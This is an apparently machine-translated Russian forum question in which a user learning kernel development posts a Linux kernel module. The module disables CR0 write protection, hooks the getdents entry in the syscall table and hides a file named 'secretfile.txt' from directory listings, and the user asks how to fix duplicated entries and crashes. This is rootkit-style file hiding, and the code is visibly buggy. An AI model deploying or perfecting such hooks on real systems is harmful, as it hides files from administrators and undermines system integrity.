Linux Перехват системных вызовов и скрытие файлов - PullRequest
0 голосов
/ 02 февраля 2020

Прости мой Engli sh)

Я хочу узнать больше о разработке ядра, и мне было интересно узнать о системном вызове getdents. Я думал, что хорошей практикой будет попытка скрыть файл. Getdents - системная проблема, о которой идет речь. Таким образом, у getdents есть ряд тяжелых структур, которые вы можете перебирать. Мой код, когда он пропускает / скрывает файл, дважды напечатает следующий файл в списке (.vscode ниже). Как я могу удалить этот дубликат?

Вот код. Я надеюсь это имеет смысл.

Обновление Я могу получить файл, скрытый правильно. Теперь я не могу вернуть результаты, сохраненные в retn, без cra sh.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/slab.h>
#include <linux/kern_levels.h>
#include <linux/gfp.h>
#include <asm/unistd.h>
#include <asm/paravirt.h>
#include <linux/kernel.h>



MODULE_LICENSE("GPL");
MODULE_AUTHOR("Qndel");
MODULE_DESCRIPTION("Hide File Module");
MODULE_VERSION("1.0");


unsigned long **SYS_CALL_TABLE;



void EnablePageWriting(void){
    write_cr0(read_cr0() & (~0x10000));

} 
void DisablePageWriting(void){
    write_cr0(read_cr0() | 0x10000);

} 



//define our origional function. 

/*
int getdents(unsigned int fd,   struct linux_dirent   *dirp,    unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,    unsigned int count);
*/


struct linux_dirent {
    unsigned long   d_ino;    /* Inode number */
    unsigned long   d_off;    /* Offset to next linux_dirent */
    unsigned short  d_reclen; // d_reclen is the way to tell the length of this entry
    char            d_name[]; // the struct value is actually longer than this, and d_name is variable width.
};

struct linux_dirent_Temporary {
    unsigned long   d_ino;    /* Inode number */
    unsigned long   d_off;    /* Offset to next linux_dirent */
    unsigned short  d_reclen; // d_reclen is the way to tell the length of this entry
    char            d_name[]; // the struct value is actually longer than this, and d_name is variable width.
}*dirp2 , *dirp3 , *retn;


char hide[]="secretfile.txt";


asmlinkage int ( *original_getdents ) (unsigned int fd, struct linux_dirent *dirp, unsigned int count); 

//Create Our version of Open Function. 
asmlinkage int  HookGetDents(unsigned int fd, struct linux_dirent *dirp, unsigned int count){

  unsigned int records; 
  unsigned int tmp = 0;
  int Found = 0;
  unsigned int bytescoppied;
  struct linux_dirent *dirp2, *dirp3 , *retn; 


  records = (*original_getdents)(fd, dirp, count); 


  if(records > 0) 
    { 
      dirp2 = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); 
      copy_from_user(dirp2, dirp, records); 

     retn = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); // Create Mem space for second
     memset(retn, 0 , sizeof(*retn));
     //copy_from_user(dirp2, dirp, records); 



      dirp3 = dirp2;
      //retn = dirp2; 

      tmp = records; 

      while(tmp > 0) // Our loop here to iterate through the structs
    { 

      tmp -= dirp3->d_reclen; 
      //memmove(retn, (char *) dirp3 , tmp);

    // Search for File...
      if( (strstr(dirp3->d_name, hide) != NULL))
        { 
          if(tmp != 0){
              Found = 1;
              //printk(KERN_INFO "<<<<< %s " , retn->d_name);
              memcpy(retn, (char *) dirp3+dirp3->d_reclen , records  );
              records -= dirp3->d_reclen; // Not sure if this does anything
              //printk(KERN_INFO ">>>>>> %s " , retn->d_name);


          } 
          else {
            dirp3->d_off = 1024; 
          }

          records -= dirp3->d_reclen; 
        } 
        else{ // If file not found..// copy current struct item
        if( Found ){ //then from here we shall be copying one struct ahead to not have duplicates
            memcpy(retn, (char *) dirp3+dirp3->d_reclen , records  );

        }else{
            memcpy(retn, (char *) dirp3 , tmp  );

        }

        }

      if (tmp != 0) {
         // printk(KERN_INFO "File Found %s " , retn->d_name);

          // Moving to the next Dirent Struct
          dirp3 = (struct linux_dirent *)((char *) dirp3 + dirp3->d_reclen);

      }
    } 
      bytescoppied = copy_to_user(dirp2, retn, records );
      //copy_to_user(dirp2, retn, records);
      bytescoppied = copy_to_user(dirp, dirp2, records);

      //bytescoppied =  memcpy(dirp, (char *) dirp3 , tmp  ); 
      //printk(KERN_INFO "Bytes Coppied %u " , records);

      kfree(dirp2); 
      kfree(retn);
    }
  return records;
}





// Set up hooks.
static int __init SetHooks(void) {
    // Gets Syscall Table **
    SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table"); 

    printk(KERN_INFO "Hooks Will Be Set.\n");
    printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE);

  // Opens the memory pages to be written
    EnablePageWriting();

  // Replaces Pointer Of Syscall_open on our syscall.
    original_getdents = (void*)SYS_CALL_TABLE[__NR_getdents];
    SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)HookGetDents;
    DisablePageWriting();

    return 0;
}







static void __exit HookCleanup(void) {

    // Clean up our Hooks
    EnablePageWriting();
    SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)original_getdents;
    DisablePageWriting();
    printk(KERN_INFO "HooksCleaned Up!");
}

module_init(SetHooks);
module_exit(HookCleanup);
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...